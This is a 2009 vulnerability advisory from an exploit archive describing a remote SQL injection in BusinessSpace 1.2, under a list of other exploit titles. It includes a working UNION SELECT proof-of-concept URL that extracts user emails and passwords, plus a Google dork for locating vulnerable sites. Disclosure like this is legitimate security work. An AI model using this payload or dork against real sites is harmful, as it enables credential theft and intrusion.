477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
94 lines
4.2 KiB
Text
Executable file
94 lines
4.2 KiB
Text
Executable file
____________________ ___ ___ ________
|
|
\_ _____/\_ ___ \ / | \\_____ \
|
|
| __)_ / \ \// ~ \/ | \
|
|
| \\ \___\ Y / | \
|
|
/_______ / \______ /\___|_ /\_______ /
|
|
\/ \/ \/ \/
|
|
|
|
.OR.ID
|
|
ECHO_ADV_102$2009
|
|
|
|
-----------------------------------------------------------------------------------------
|
|
[ECHO_ADV_102$2009] BusinessSpace <= 1.2 (id) Remote SQL Injection Vulnerability
|
|
-----------------------------------------------------------------------------------------
|
|
|
|
Author : M.Hasran Addahroni
|
|
Date : February, 7 th 2009
|
|
Location : Jakarta, Indonesia
|
|
Web : http://e-rdc.org/v1/news.php?readmore=123
|
|
Critical Lvl : Medium
|
|
Impact : Manipulation of data / Exposure of sensitive information
|
|
Where : From Remote
|
|
---------------------------------------------------------------------------
|
|
|
|
Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : BusinessSpace
|
|
version : <= 1.2
|
|
Vendor : http://www.business-space.org
|
|
Description :
|
|
|
|
BusinessSpace - Social Networking in a Box
|
|
BusinessSpace is an enterprise collaboration software designed to stand up to and keep in pace with today’s ever-evolving, rapidly-growing world of online business and entrepreneurship. Enterprise community software has been taken up to another lever by the developers of BusinessSpace separating itself from regular social networking software and community software. BusinessSpace is not just a social network CMS, not just a LinkedIn clone: it’s more than that. BusinessSpace was developed by business people, just like you. This means that this business networking software is laced with the features that a businessman, employer, employee or entrepreneur needs. No fancy community software applications, no fancy profiles: it’s simply strictly business. Because that’s what BusinessSpace enterprise social networking software is all about – business.
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
Vulnerability:
|
|
~~~~~~~~~~~~
|
|
|
|
Input passed to the "id" parameter in classified.php page is not properly verified before being used
|
|
in sql queries.This vulnerability can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
|
|
|
|
Successful exploitation allows attacker retrieving users email and password in plain text.
|
|
|
|
|
|
Poc/Exploit:
|
|
~~~~~~~~
|
|
|
|
http://www.example.com/[path]/index.php?id=-1 union select 1,concat(id,0x3a,name,0x3a,surname,0x3a,email,0x3a,password),3,4,5,6,7,8,9,10 from users--&page=classified
|
|
|
|
Dork:
|
|
~~~
|
|
Google : "Create your personalized professional identity" or "Professional Networking Starts Here!"
|
|
|
|
|
|
Solution:
|
|
~~~~~
|
|
|
|
- Edit the source code to ensure that input is properly verified.
|
|
- Turn off register_globals in php.ini
|
|
|
|
Timeline:
|
|
~~~~~~~
|
|
|
|
- 01 - 02 - 2009 bug found
|
|
- 01 - 02 - 2009 vendor contacted but no response
|
|
- 06 - 02 - 2009 vendor contacted again still no response
|
|
- 07 - 02 - 2009 advisory released
|
|
---------------------------------------------------------------------------
|
|
|
|
Shoutz:
|
|
~~~
|
|
~ ping - my dearest wife, zautha - my beloved son, and my next beloved daughter "welcome to the world".
|
|
~ y3dips,the_day (congratz for the baby),Negatif,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,pushm0v,az001,
|
|
the_hydra,neng chika, str0ke
|
|
~ scanners [at] SCAN-NUSANTARA and SCAN-ASSOCIATES
|
|
~ SK,Abond,pokley,cybertank, super_temon,whatsoever,b120t0,inggar,fachri,adi,rahmat,indra
|
|
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,sakitjiwa,x16,cyb3rh3b,cR4SH3R,ogeb,bagan,devsheed
|
|
~ dr188le,cow_1seng,poniman_coy,paman_gembul,ketut,rizal,ghostblup,shamus,
|
|
kuntua, stev_manado,nofry,k1tk4t,0pt1c,k1ngk0ng
|
|
~ newbie_hacker@yahoogroups.com
|
|
~ milw0rm.com, macaholic.info, unitiga.com, mac.web.id, indowebster.com
|
|
~ #aikmel #e-c-h-o @irc.dal.net
|
|
|
|
---------------------------------------------------------------------------
|
|
Contact:
|
|
~~~~
|
|
|
|
K-159 || echo|staff || adv[at]e-rdc[dot]org
|
|
Homepage: http://www.e-rdc.org/
|
|
|
|
-------------------------------- [ EOF ] ----------------------------------
|
|
|
|
# milw0rm.com [2009-02-09]
|